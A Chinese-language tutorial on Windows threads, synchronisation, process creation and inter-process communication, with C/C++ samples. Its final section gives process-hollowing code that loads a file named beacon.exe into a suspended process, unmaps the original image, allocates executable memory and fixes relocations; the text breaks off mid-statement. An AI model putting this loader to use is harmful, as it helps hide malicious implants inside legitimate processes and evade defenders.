1.windows线程
1.1 windows创建线程
1.1.0 线程句柄与线程ID:
- 1.线程是由Windows内核负责创建与管理的,句柄相当于一个令牌,有了这个令牌就可以使用线程对象.
- 2.线程ID是身份证,唯一的,系统进行线程调度的时候要使用的.
1.1.1 创建线程函数:
HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性 通常为NULL SIZE_T dwStackSize, // 参数用于设定线程可以将多少地址空间用于它自己的堆栈 // 每个线程拥有它自己的堆栈 LPTHREAD_START_ROUTINE lpStartAddress, // 参数用于指明想要新线程执行的线程函数的地址 LPVOID lpParameter, // 线程函数的参数 // 在线程启动执行时将该参数传递给线程函数 // 既可以是数字,也可以是指向包含其他信息的一个数据结构的指针 DWORD dwCreationFlags, // 0 创建完毕立即调度 CREATE_SUSPENDED创建后挂起 LPDWORD lpThreadId // 线程ID ); // 返回值:线程句柄
1.1.2 创建线程示例
1.创建线程代码
HANDLE hThread = ::CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);//创建线程代码,其中::代表全局定义的函数,一般为防止和局部函数冲突这样写
2.线程函数编写
DWORD WINAPI ThreadProc( LPVOID lpParameter //传给线程的参数,具体用法参考下面代码)
3.示例代码:
// testThread.cpp : 实现两个线程控制1号文本框不断加,同时2号文本框不断减小的程序 #include "stdafx.h" #include "resource.h" #include "windows.h" # include <stdio.h> # include <stdlib.h> DWORD WINAPI ThreadProc1(LPVOID lpParameter){ HWND hwndDlg=(HWND)lpParameter; for (int i=0;i<=1000;i++){ //MessageBox(NULL,TEXT("IDC_BUTTON_OK"),TEXT("OK"),MB_OK); HWND hEdit=GetDlgItem(hwndDlg,IDC_EDIT1); char szText[100]; itoa(i,szText,10); SetWindowText(hEdit,szText); Sleep(1000); } return 0; } DWORD WINAPI ThreadProc2(LPVOID lpParameter){ HWND hwndDlg=(HWND)lpParameter; for (int i=1000;i>=0;i--){ HWND hEdit=GetDlgItem(hwndDlg,IDC_EDIT2); char szText[100]; itoa(i,szText,10); SetWindowText(hEdit,szText); Sleep(1000); } return 0; } BOOL CALLBACK DialogProc(HWND hwndDlg, // handle to dialog box UINT uMsg, // message WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ) { switch(uMsg) { case WM_CLOSE: EndDialog(hwndDlg, 0); return TRUE; case WM_COMMAND : switch (LOWORD (wParam)) { case IDOK : int x=2; HANDLE hThread1 = ::CreateThread(NULL, 0, ThreadProc1,(void *)hwndDlg, 0, NULL); HANDLE hThread2 = ::CreateThread(NULL, 0, ThreadProc2,(void *)hwndDlg, 0, NULL); } break ; } return FALSE ; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. DialogBox( hInstance, MAKEINTRESOURCE(IDD_DIALOG1), NULL, DialogProc ); return 0; }
样例界面如下:
1.2 线程的挂起与恢复
调用对应函数即可,示例代码如下:
// testThread.cpp : Defines the entry point for the application. // #include "stdafx.h" #include "resource.h" #include "windows.h" # include <stdio.h> # include <stdlib.h> HANDLE hThread1; bool flag=false; DWORD WINAPI ThreadProc1(LPVOID lpParameter){ HWND hwndDlg=(HWND)lpParameter; for (int i=0;i<=1000;i++){ //MessageBox(NULL,TEXT("IDC_BUTTON_OK"),TEXT("OK"),MB_OK); if (!flag){ HWND hEdit=GetDlgItem(hwndDlg,IDC_EDIT1); char szText[100]; itoa(i,szText,10); SetWindowText(hEdit,szText); Sleep(1000); }else{ flag=false; break; } } return 0; } BOOL CALLBACK DialogProc(HWND hwndDlg, // handle to dialog box UINT uMsg, // message WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ) { switch(uMsg) { case WM_CLOSE: EndDialog(hwndDlg, 0); return TRUE; case WM_COMMAND : switch (LOWORD (wParam)) { case IDOK : hThread1 = ::CreateThread(NULL, 0, ThreadProc1,(void *)hwndDlg, 0, NULL); return TRUE; case IDOK2: ::SuspendThread(hThread1); //挂起线程 return TRUE; case IDOK3: ::ResumeThread(hThread1); //恢复挂起的线程 return TRUE; case IDOK4: flag=true;//使用程序内部正常退出的方式结束进程 return TRUE; } break ; } return FALSE ; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. DialogBox( hInstance, MAKEINTRESOURCE(IDD_DIALOG1), NULL, DialogProc ); return 0; }
界面如下:
1.3 线程退出
线程退出推荐使用线程内部自己退出的方式,比如使线程正常执行完毕,也可以在线程内部调用::ExitThread(DWORD dwExitCode);
但是该函数会强制结束线程,并不会进入类的析构函数。也可以使用如下代码强行退出某个线程:
::TerminateThread(hThread,2);//注意这个结束线程是异步的 ::WaitForSingleObject(hThread,INFINITE);//等待线程结束成功
可以使用GetExitCodeThread
函数查看退出情况,函数用法如下:
BOOL GetExitCodeThread( HANDLE hThread, //in,线程handle,也就是CreateThread()的返回值 LPDWORD lpExitCode // out,存储线程结束代码,也就是线程的返回值 ); //此函数调用成功返回TRUE,失败返回FALSE,只表示这个函数是否调用成功而己. //不能根据返回值来判断一个线程是否结束,而要根据 lpExitCode的值来确定, //lpExitCode 值STILL_ACTIVE 表示线程正在运行.
1.4 线程的CONTEXT
线程的CONTEXT结构中存储着线程所用寄存器的信息。
1.4.1 线程结构体的定义
typedef struct _CONTEXT { // // The flags values within this flag control the contents of // a CONTEXT record. // // If the context record is used as an input parameter, then // for each portion of the context record controlled by a flag // whose value is set, it is assumed that that portion of the // context record contains valid context. If the context record // is being used to modify a threads context, then only that // portion of the threads context will be modified. // // If the context record is used as an IN OUT parameter to capture // the context of a thread, then only those portions of the thread's // context corresponding to set flags will be returned. // // The context record is never used as an OUT only parameter. // DWORD ContextFlags; // // This section is specified/returned if CONTEXT_DEBUG_REGISTERS is // set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT // included in CONTEXT_FULL. // DWORD Dr0; DWORD Dr1; DWORD Dr2; DWORD Dr3; DWORD Dr6; DWORD Dr7; // // This section is specified/returned if the // ContextFlags word contians the flag CONTEXT_FLOATING_POINT. // FLOATING_SAVE_AREA FloatSave; // // This section is specified/returned if the // ContextFlags word contians the flag CONTEXT_SEGMENTS. // DWORD SegGs; DWORD SegFs; DWORD SegEs; DWORD SegDs; // // This section is specified/returned if the // ContextFlags word contians the flag CONTEXT_INTEGER. // DWORD Edi; DWORD Esi; DWORD Ebx; DWORD Edx; DWORD Ecx; DWORD Eax; // // This section is specified/returned if the // ContextFlags word contians the flag CONTEXT_CONTROL. // DWORD Ebp; DWORD Eip; DWORD SegCs; // MUST BE SANITIZED DWORD EFlags; // MUST BE SANITIZED DWORD Esp; DWORD SegSs; // // This section is specified/returned if the ContextFlags word // contains the flag CONTEXT_EXTENDED_REGISTERS. // The format and contexts are processor specific // BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; } CONTEXT;
1.4.2 线程结构体的获取与更改
//挂起线程 SuspendThread(线程句柄); CONTEXT context; //设置要获取的类型 context.ContextFlags = CONTEXT_CONTROL; //获取 BOOL ok = ::GetThreadContext(hThread,&context); //设置 context.Eip = 0x401000; SetThreadContext(hThread,&context);
1.5. 线程互斥
1.5.1 临界区
就是windows多线程编程封装好的一个lock锁的结构体,防止同一个进程之间多线程对同一个全局变量进行读写造成错误,具体操作如下:
1、创建CRITICAL_SECTION:
CRITICAL_SECTION cs;
2、在使用前进行初始化
InitializeCriticalSection(&cs);
3.在函数中使用
DWORD WINAPI 线程A(PVOID pvParam) { EnterCriticalSection(&cs); //进入临界区 //对全局遍历X的操作 LeaveCriticalSection(&cs); //离开临界区 return(0); } DWORD WINAPI 线程B(PVOID pvParam) { EnterCriticalSection(&cs); //对全局遍历X的操作 LeaveCriticalSection(&cs); return(0); }
4.销毁临界区
DeleteCriticalSection(&cs);
1.5.2 互斥体
前面使用临界区可以解决同一个进程之间多个线程的互斥访问资源关系,而互斥体Mutex
(是一个内核对象)可以解决不同进程之间多个线程互斥访问资源的问题。使用方式如下:
进程一: HANDLE g_hMutex = CreateMutex(NULL,FALSE, "XYZ"); 进程二: HANDLE g_hMutex = OpenMutex(MUTEX_ALL_ACCESS,FALSE, "XYZ");//获取互斥体 WaitForSingleObject(g_hMutex,INFINITE);//等待互斥体被获取,第二个参数为等待超时时间,INFINITE表示永久等待。 //逻辑代码 ReleaseMutex(g_hMutex);//释放互斥体 进程三: HANDLE g_hMutex = OpenMutex(MUTEX_ALL_ACCESS,FALSE, "XYZ"); WaitForSingleObject(g_hMutex,INFINITE); //逻辑代码 ReleaseMutex(g_hMutex);
函数说明:
- 1.WaitForSingleObject函数:等待某个对象执行完毕才继续当前进程
DWORD WaitForSingleObject( HANDLE hHandle, // 等待对象的句柄,可以是线程、进程、文件等的句柄 DWORD dwMilliseconds // 超时等待时长 );
- 2.WaitForMultipleObjects函数:等待某几个对象执行完毕才继续当前进程
DWORD WaitForMultipleObjects( DWORD nCount, // 数组中句柄的数量 CONST HANDLE *lpHandles, // 储存需要等待结束的对象的句柄的数组 BOOL bWaitAll, //等待类型 TRUE等到所有变为已通知,FALSE 只要有一个变为已通知 DWORD dwMilliseconds //等待超时时长,INFINITE一直等待 );
1.6 线程同步
线程同步和线程互斥做法相同,和在操作系统原理中学的内容一样,下面学的event对象也是个内核对象。
1.6.0 内核对象
进程、线程、文件、文件映射、事件、互斥体等等都属于内核对象,进程空间4GB其中低2G每个进程的自己独立,高2G是公用的内核空间,如下图所示:
内核对象的销毁是看内核对象被引用的数量,如果为0则表示没有人用了,内核会自己把它销毁了,三环程序关闭引用是调用BOOL CloseHandle(HANDLE hobj);
函数。
1.6.1 事件对象
用来做线程同步的一个对象,以下为event对象相关的函数简要说明:
创建事件对象 HANDLE g_hEvent = CreateEvent(NULL, TRUE, FALSE, "XYZ"); //默认安全属性 手动设置未通知状态(TRUE) 初始状态未通知 名字为XYZ 获取事件对象 HANDLE OpenEvent( DWORD dwDesiredAccess, // access BOOL bInheritHandle, // inheritance option LPCTSTR lpName // object name ); HANDLE g_hEvent = OpenEvent(EVENT_ALL_ACCESS, FALSE, "XYZ"); 设置event对象为已通知状态 SetEvent(g_hEvent); 等待event对象 WaitForSingleObject(g_hEvent, INFINITE);
1.6.2 信号量
就是用来做线程同步的时候生产者消费者模型里面可以自定义资源数大小的一个结构体。
1.创建信号量
HANDLE CreateSemaphore( LPSECURITY_ATTRIBUTES lpSemaphoreAttributes, //第一个参数表示安全控制,一般直接传入NULL。 LONG lInitialCount, //第二个参数表示初始资源数量。0时不发送信号 LONG lMaximumCount, //第三个参数表示最大并发数量。lInitialCount<=lMaximumCount LPCTSTR lpName //第四个参数表示信号量的名称,传入NULL表示匿名信号量。 );
2.打开信号量
HANDLE OpenSemaphore( DWORD dwDesiredAccess, //第一个参数表示访问权限,对一般传入SEMAPHORE_ALL_ACCESS。 BOOL bInheritHandle, //第二个参数表示信号量句柄继承性,一般传入FALSE即可。 LPCTSTR lpName //第三个参数表示名称,不同进程中的各线程可以通过名称来确保它们访问同一个信号量。 );
3.增加信号量当前资源数
BOOL ReleaseSemaphore( HANDLE hSemaphore, //第一个参数是信号量的句柄。 LONG lReleaseCount, //第二个参数表示增加个数,必须大于0且不超过最大资源数量。 LPLONG lpPreviousCount //第三个参数返回当前资源数量的原始值,设为NULL表示不需要传出。 );
4.信号量资源数减少与关闭
WaitForSingleObject(hSemaphore, INFINITE);//等到有资源数时就对信号量资源数减1 CloseHandle(hSemaphore);//关闭信号量句柄
2.windows进程
2.1 进程的创建
2.1.0 windows桌面程序打开的过程
当windows系统启动后,会自动打开一个名为Explorer.exe
的进程,也就是桌面进程。当使用鼠标双击某个exe程序的图标时,Explorer.exe
就会调用CreateProcess
函数创建一个进程,因此我们在桌面上双击打开的程序都是桌面进程的子进程,可以使用XueTr.exe
查看哪些程序是Explorer.exe
的子进程。
2.1.1 CreateProcess函数创建进程过程
当调用createProcess创建进程时,计算机将会经过如下过程:
- 1.分配内核空间,创建内核对象
当用户层调用CreateProcess
时,该函数底层将会调用内核层的NtCreateProcess
函数,NtCreateProcess
将会帮助程序在高2G的内存中申请一块空间,这块空间其实将被创建进程的句柄表,示意图如下。句柄表刚刚创建的时候是空的(没有继承父进程的句柄时),当该进程的线程创建内核对象的时候才会写入内容。
- 2.分配虚拟4GB空间
程序在4GB拉伸过程如下图所示:
- 3.创建主线程
当进程的空间创建完毕,EXE与导入表中的DLL都正确加载完毕后,会创建一个线程也就是这个程序的主线程。主线程的context结构中,EIP设置为当前程序的ImageBase+OEP
,当线程得到CPU后程序就可以正常执行了。
- 4.返回值
当进程创建成功后,会将进程句柄、主线程句柄、进程ID以及主线程ID存储在PROCESS_INFORMATION
结构中,该结构也就是CreateProcess的最后一个 OUT 参数,结构定义如下:
typedef struct _PROCESS_INFORMATION { HANDLE hProcess; //进程句柄 HANDLE hThread; //主线程句柄 DWORD dwProcessId; //进程ID DWORD dwThreadId; //线程ID } PROCESS_INFORMATION;
2.1.2 CreateProcess参数详解
BOOL CreateProcess ( LPCTSTR lpApplicationName, //指向一个用来指定可执行模块的字符串(exe的绝对路径)。 LPTSTR lpCommandLine, //指向一个以NULL结尾的字符串,该字符串指定要执行的命令行,可以获取命令行参数,具体用法跟在cmd打开命令行没啥区别。 LPSECURITY_ATTRIBUTES lpProcessAttributes, //指向一个SECURITY_ATTRIBUTES结构体,这个结构体决定是否返回的句柄可以被其他的子进程继承。如果lpProcessAttributes参数为空(NULL),那么句柄不能被继承。 LPSECURITY_ATTRIBUTES lpThreadAttributes, //同lpProcessAttribute,不过这个参数决定的是线程是否被其他的子进程继承.通常置为NULL. BOOL bInheritHandles, //指示新进程是否从调用进程处继承了句柄。 DWORD dwCreationFlags, //进程创建方式,比如新建一个控制台窗口,后台运行不创建窗口等等 LPVOID lpEnvironment, //指向一个新进程的环境块。如果此参数为空,新进程使用调用进程的环境。 LPCTSTR lpCurrentDirectory, //指向一个以NULL结尾的字符串,这个字符串用来指定子进程的工作路径(绝对路径)。如果这个参数为空,新进程将使用与调用进程相同的驱动器和目录。 LPSTARTUPINFO lpStartupInfo, //指向一个用于决定新进程的主窗体如何显示的STARTUPINFO结构体,用来设定要创建的应用程序的属性,比如可以指定新创建的控制台程序的标题等待。。 LPPROCESS_INFORMATIONlpProcessInformation //指向一个用来接收新进程的识别信息的PROCESS_INFORMATION结构体。 );
以下为创建一个进程的示例代码:
方法一:使用绝对路径创建一个进程 VOID TestCreateProcessByAPPName() { STARTUPINFO si = {0}; PROCESS_INFORMATION pi; si.cb = sizeof(si); TCHAR szApplicationName[] =TEXT("c://program files//internet explorer//iexplore.exe"); BOOL res = CreateProcess( szApplicationName, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); } 方法二:使用命令行打开一个进程 VOID TestCreateProcessByCmdline() { STARTUPINFO si = {0}; PROCESS_INFORMATION pi; si.cb = sizeof(si); TCHAR szCmdline[] =TEXT("c://program files//internet explorer//iexplore.exe http://www.ifeng.com"); BOOL res = CreateProcess( NULL, szCmdline, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); } 方法三:使用绝对路径加命令行创建进程 VOID TestCreateProcess() { STARTUPINFO si = {0}; PROCESS_INFORMATION pi; si.cb = sizeof(si); TCHAR szCmdline[] =TEXT(" http://www.ifeng.com"); BOOL res = CreateProcess( TEXT("c://program files//internet explorer//iexplore.exe"), szCmdline, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); }
2.2 结束进程
-
方法一:进程自己调用
VOID ExitProcess(UINT fuExitCode);
-
方法二:某个进程调用
BOOL TerminateProcess(HANDLE hProcess, UINT fuExitCode);
终止其他进程 -
方法三:调用
ExitThread();
终止进程中的所有线程,进程也会终止
2.3 进程句柄的继承
进程A中的代码: char szBuffer[256] = {0}; char szHandle[8] = {0}; //若要创建能继承的句柄,父进程必须指定一个SECURITY_ATTRIBUTES结构并对它进行初始化 //三个成员的意义:大小、默认安全属性、是否可以继承 SECURITY_ATTRIBUTES sa; sa.nLength = sizeof(sa); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; //创建一个可以被继承的内核对象 HANDLE g_hEvent = CreateEvent(&sa, TRUE, FALSE, NULL); //组织命令行参数 sprintf(szHandle,"%x",g_hEvent); sprintf(szBuffer,"C:/z2.exe %s",szHandle); //定义创建进程需要用的结构体 STARTUPINFO si = {0}; PROCESS_INFORMATION pi; si.cb = sizeof(si); //创建子进程 BOOL res = CreateProcess( NULL, szBuffer, NULL, NULL, TRUE, //TRUE的时候,说明子进程可以继承父进程的句柄表 CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); //设置事件为已通知 SetEvent(g_hEvent); //关闭句柄 内核对象是否会被销毁? CloseHandle(g_hEvent); 进程B中的代码: char szBuffer[256] = {0}; memcpy(szBuffer,argv[1],8); DWORD dwHandle = 0; sscanf(szBuffer,"%x",&dwHandle); printf("%s\n",argv[0]); printf("%x\n",dwHandle); HANDLE g_hEvent = (HANDLE)dwHandle; printf("开始等待.....\n"); //当事件变成已通知时 WaitForSingleObject(g_hEvent, INFINITE); DWORD dwCode = GetLastError(); printf("等到消息.....%x\n",dwCode); getchar();
2.4 以挂起的方式创建进程
创建一个挂起的函数,并获取主线程的入口点,ImageBase地址代码如下:
// createProcessBysuspended.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <windows.h> int main(int argc, char* argv[]) { STARTUPINFO ie_si = {0}; PROCESS_INFORMATION ie_pi; ie_si.cb = sizeof(ie_si); TCHAR szBuffer[256] = "C:\\notepad.exe"; CreateProcess( NULL, szBuffer, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &ie_si, &ie_pi ); //获取进程参数 CONTEXT contx; contx.ContextFlags = CONTEXT_FULL; GetThreadContext(ie_pi.hThread, &contx); //获取入口点 DWORD dwEntryPoint = contx.Eax; printf("EntryPoint:%x\n",dwEntryPoint); //获取ImageBase char* baseAddress = (CHAR *) contx.Ebx+8; memset(szBuffer,0,256); ReadProcessMemory(ie_pi.hProcess,baseAddress,szBuffer,4,NULL); printf("ImageBase:%x\n",szBuffer); //恢复执行 ResumeThread(ie_pi.hThread); }
3.进程通信
3.1 共享内存进行进程通信
发送端代码: HANDLE hMapObject; HANDLE hMapView; //创建FileMapping对象 hMapObject = CreateFileMapping((HANDLE)0xFFFFFFFF,NULL,PAGE_READWRITE,0,0x1000,TEXT("shared")); if(!hMapObject) { MessageBox(NULL,TEXT("共享内存失败"),TEXT("Error"),MB_OK); return FALSE; } //将FileMapping对象映射到自己的进程 hMapView = MapViewOfFile(hMapObject,FILE_MAP_WRITE,0,0,0); if(!hMapView) { MessageBox(NULL,TEXT("内存映射失败"),TEXT("Error"),MB_OK); return FALSE; } //向共享内存写入数据 strcpy((char*)hMapView,"Test Shared Memery"); 接收端代码: HANDLE hMapObject; HANDLE hMapView; //创建FileMapping对象 hMapObject = CreateFileMapping((HANDLE)0xFFFFFFFF,NULL,PAGE_READWRITE,0,0x1000,TEXT("shared")); if(!hMapObject) { MessageBox(NULL,TEXT("共享内存失败"),TEXT("Error"),MB_OK); return FALSE; } //将FileMapping对象映射到自己的进程 hMapView = MapViewOfFile(hMapObject,FILE_MAP_WRITE,0,0,0); if(!hMapView) { MessageBox(NULL,TEXT("内存映射失败"),TEXT("Error"),MB_OK); return FALSE; } //从共享内存读取数据 TCHAR szBuffer[0x1000] = {0}; memcpy(szBuffer,hMapView,10);
3.2 自定义消息进程通信
发送端代码: HWND hwnd = ::FindWindow(NULL,TEXT("接收端窗口名")); if(hwnd == NULL) { MessageBox(0,TEXT("没找到窗口"),TEXT("ERROR"),MB_OK); } else { // 发送消息 //SendMessage(hwnd,WM_USER+0x1,NULL, (LPARAM)100); PostMessage(hwnd,WM_USER+0x1, NULL, (LPARAM)100); } 接收端代码: switch(uMsg) { case WM_CLOSE: { EndDialog(hDlg,0); break; } case WM_USER+0x1: { DWORD x = wParam; DWORD y = lParam; MessageBox(0,0,0,0); break; } case WM_COMMAND: switch (LOWORD (wParam)) { case IDC_BUTTON_RECV: { return TRUE; } } break ; }
3.3 匿名管道进行进程通信
父进程: HANDLE hRead; HANDLE hWrite; SECURITY_ATTRIBUTES sa; sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; sa.nLength = sizeof(SECURITY_ATTRIBUTES); if(!CreatePipe(&hRead,&hWrite,&sa,0)) { MessageBox(0,TEXT("创建匿名管道失败!"),TEXT("Error"),MB_OK); } STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si,sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = hRead; si.hStdOutput = hWrite; si.hStdError = GetStdHandle(STD_ERROR_HANDLE); if(!CreateProcess("E:\\Project\\zzzzzzz\\Debug\\zzzzzzz.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi)) { CloseHandle(hRead); CloseHandle(hWrite); hRead = NULL; hWrite = NULL; MessageBox(0,TEXT("创建子进程失败!"),TEXT("Error"),MB_OK); } else { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } //写数据 TCHAR szBuffer[] = "http:\\www.dtdebug.com"; DWORD dwWrite; if(!WriteFile(hWrite,szBuffer,strlen(szBuffer)+1,&dwWrite,NULL)) { MessageBox(0,TEXT("写数据失败!"),TEXT("Error"),MB_OK); } //读数据 TCHAR szBuffer[100]; DWORD dwRead; if(!ReadFile(hRead,szBuffer,100,&dwRead,NULL)) { MessageBox(NULL,TEXT("读取数据失败!"),TEXT("Error"),MB_OK); } else { MessageBox(NULL,szBuffer,TEXT("[读取数据]"),MB_OK); } 子进程: //初始化 HANDLE hRead = GetStdHandle(STD_INPUT_HANDLE); HANDLE hWrite = GetStdHandle(STD_OUTPUT_HANDLE); //读数据 TCHAR szBuffer[100]; DWORD dwRead; if(!ReadFile(hRead,szBuffer,100,&dwRead,NULL)) { MessageBox(NULL,TEXT("读取数据失败!"),TEXT("Error"),MB_OK); } else { MessageBox(NULL,szBuffer,TEXT("[读取数据]"),MB_OK); } //写数据 TCHAR szBuffer[100] = "匿名管道"; DWORD dwWrite; if(!WriteFile(hWrite,szBuffer,strlen(szBuffer)+1,&dwWrite,NULL)) { MessageBox(NULL,TEXT("写入数据失败!"),TEXT("Error"),MB_OK); }
4.创建傀儡进程样例代码
#include <stdio.h> #include <stdlib.h> #include <windows.h> char* readFileIntoBuffer(char * filepath){ int filesize=0; FILE *filep=NULL; char *buffer=NULL; filep = fopen(filepath,"rb"); if (filep == NULL){ printf("打开文件失败!"); return NULL; } fseek(filep,0,SEEK_END); filesize = ftell(filep); fseek(filep,0,SEEK_SET); //printf("filesize is %d\n",filesize); buffer = (char *)malloc(sizeof(char)*filesize); if(buffer == NULL){ printf("内存分配失败!"); fclose(filep); return NULL; } memset(buffer,0,filesize); size_t n = fread(buffer,1,filesize,filep); if(!n){ printf("读取数据失败!"); fclose(filep); free(buffer); return NULL; } fclose(filep); return buffer; } PIMAGE_DOS_HEADER getDosHeader(char *filebuffer){ //声明所要用到的变量 PIMAGE_DOS_HEADER pDosHeader = NULL; //获取DOS头 pDosHeader = (PIMAGE_DOS_HEADER)filebuffer; /* printf("*********DOS头输出:**********\n"); printf("MZ标志:%x\n",(*pDosHeader).e_magic); printf("NT头相对于文件初始位置的偏移:%x\n",(*pDosHeader).e_lfanew); printf("*********DOS头输出:**********\n"); */ return pDosHeader; } PIMAGE_NT_HEADERS32 getNTHeader(char *filebuffer){ PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)filebuffer; PIMAGE_NT_HEADERS pNTHeader = PIMAGE_NT_HEADERS(filebuffer + (*pDosHeader).e_lfanew);; /* printf("*********标准PE头输出:**********\n"); printf("节的数量为:0x%x\n",pNTHeader->FileHeader.NumberOfSections); printf("可选PE头的大小:0x%x\n",pNTHeader->FileHeader.SizeOfOptionalHeader); printf("*********标准PE头输出:**********\n"); */ return pNTHeader; } char* getImageBufferFromFileBuffer(char* pfileBuffer){ char *pImageBuffer=NULL; PIMAGE_DOS_HEADER pDosHeader = getDosHeader(pfileBuffer); PIMAGE_NT_HEADERS32 pNTHeader = getNTHeader(pfileBuffer); pImageBuffer = (char *)malloc(pNTHeader->OptionalHeader.SizeOfImage);//申请imagebuffer if (pImageBuffer==NULL){ printf("malloc imageBuffer failed!\n"); }else{ printf("malloc imageBuffer success!\n"); //复制PE头 memcpy(pImageBuffer,pfileBuffer,pNTHeader->OptionalHeader.SizeOfHeaders); printf("Num of sections %x\n",pNTHeader->FileHeader.NumberOfSections); //复制每一节 for(int i=0;i<pNTHeader->FileHeader.NumberOfSections;i++){ PIMAGE_SECTION_HEADER pTmpImageSectionHeader=NULL; pTmpImageSectionHeader = PIMAGE_SECTION_HEADER(pfileBuffer + (pDosHeader->e_lfanew) + sizeof(pNTHeader->Signature) +sizeof(IMAGE_FILE_HEADER) + pNTHeader->FileHeader.SizeOfOptionalHeader+i*sizeof(IMAGE_SECTION_HEADER)); printf("Copying Section name is %s\n",pTmpImageSectionHeader->Name); memcpy(pImageBuffer+pTmpImageSectionHeader->VirtualAddress,pfileBuffer+pTmpImageSectionHeader->PointerToRawData,pTmpImageSectionHeader->SizeOfRawData); } } return pImageBuffer; } int main() { //获取当前程序的绝对路径 char* filename = "C:\\Users\\crls\\Desktop\\beacon.exe"; char* pFileBuffer = readFileIntoBuffer(filename); //printf("%x",pFileBuffer); PIMAGE_DOS_HEADER pDosHeader = getDosHeader(pFileBuffer); PIMAGE_NT_HEADERS32 pNTHeader = getNTHeader(pFileBuffer); char* pImageBuffer=getImageBufferFromFileBuffer(pFileBuffer); char currentFilename[MAX_PATH]={0}; ::GetModuleFileName(NULL,currentFilename,MAX_PATH); printf("%s\n",currentFilename); STARTUPINFO myStartUpInfo; ::memset(&myStartUpInfo, 0 ,sizeof(myStartUpInfo)); //创建进程启动信息结构体 myStartUpInfo.cb = sizeof(myStartUpInfo); PROCESS_INFORMATION myProcessInfo; ::memset(&myProcessInfo, 0 ,sizeof(myProcessInfo)); //创建进程返回信息结构体 CreateProcess(currentFilename, NULL, NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &myStartUpInfo, &myProcessInfo ); //以挂起的方式创建进程 CONTEXT context; context.ContextFlags = CONTEXT_FULL; //创建线程context结构用于存储所创建进程主线程的context ::GetThreadContext(myProcessInfo.hThread,&context); printf("Target PEB Addr : 0x%08X.\n",context.Ebx); DWORD dwRemoteImageBase; //获取傀儡进程ImageBase ReadProcessMemory(myProcessInfo.hProcess,(LPVOID)(context.Ebx+8),&dwRemoteImageBase,sizeof(DWORD),NULL); printf("RemoteImageBase : 0x%08X.\n",dwRemoteImageBase); //卸载傀儡程序 HMODULE hntDll = GetModuleHandle(TEXT("ntdll.dll")); typedef unsigned long(__stdcall *pfZwUnmapViewOfSection)(unsigned long, unsigned long); pfZwUnmapViewOfSection ZwUnmapViewOfSection = NULL; ZwUnmapViewOfSection = (pfZwUnmapViewOfSection)GetProcAddress(hntDll,"ZwUnmapViewOfSection"); BOOL res = FALSE; if (ZwUnmapViewOfSection) { res = (ZwUnmapViewOfSection((unsigned long)myProcessInfo.hProcess, dwRemoteImageBase) == 0); } printf("%x\n",res); if (res){ //在远程进程空间中申请内存 void *pRemoteImageBase=NULL; printf("dwRemoteImageBase is 0x%x\n",dwRemoteImageBase); printf("SizeOfImage is 0x%x\n",(pNTHeader->OptionalHeader.SizeOfImage)); pRemoteImageBase = VirtualAllocEx(myProcessInfo.hProcess,(PVOID)dwRemoteImageBase,(DWORD)(pNTHeader->OptionalHeader.SizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); //尝试在远程空间中原有的imagebase中获得内存 if (pRemoteImageBase != NULL){ printf("get VirtualAllocEx success!!!!\n"); //获取成功 }else{ printf("get VirtualAllocEx failed!!!!\n"); //获取成功 pRemoteImageBase = VirtualAllocEx(myProcessInfo.hProcess,NULL,(DWORD)(pNTHeader->OptionalHeader.SizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); printf("get VirtualAlloc at 0x%x \n",pRemoteImageBase); //获取失败 //修复重定位表 PIMAGE_BASE_RELOCATION pImageBaseRelaction=NULL; pImageBaseRelaction = PIMAGE_BASE_RELOCATION(pImageBuffer+ pNTHeader->OptionalHeader.DataDirectory[5].VirtualAddress); while(pImageBaseRelaction->VirtualAddress!=0){ //遍历RELOCATION数据块 printf("PImageBaseRelaction->VirtualAddress is %x\n",pImageBaseRelaction->VirtualAddress); printf("PIMAGE_BASE_RELOCATION VirtualAddress is %x\n",pImageBaseRelaction->VirtualAddress); printf("Num of blocks is %x\n",((DWORD)pImageBaseRelaction->SizeOfBlock-8)/2); //遍历每一个RELOCATION数据块中的数据项 struct TypeOffset{ WORD offset : 12; WORD type : 4; }; TypeOffset* pTypeOffset=NULL; DWORD *ptmp = NULL; for(int i=0;i<((DWORD)pImageBaseRelaction->SizeOfBlock-8)/2;i++){ pTypeOffset = (TypeOffset *)((DWORD)pImageBaseRelaction+8+i*2); printf("Index :%d ",i); printf("is %x\n",pTypeOffset->type); char *realRVA=NULL; if(pTypeOffset->type==3){ realRVA = (char *)((DWORD)pImageBaseRelaction->VirtualAddress+pTypeOffset->offset); printf("Index :%d ",i); printf("RealRVA is %x , ",realRVA); printf("the data before fixed is %x \n",*(int *)((DWORD)pImageBuffer+(DWORD)realRVA)); ptmp = (DWORD *)((DWORD)pImageBuffer+(DWORD)realRVA); *ptmp = DWORD(*ptmp) - pNTHeader->OptionalHeader.ImageBase + (DWORD)pRemoteImageBase; printf("the data after fixed is %x 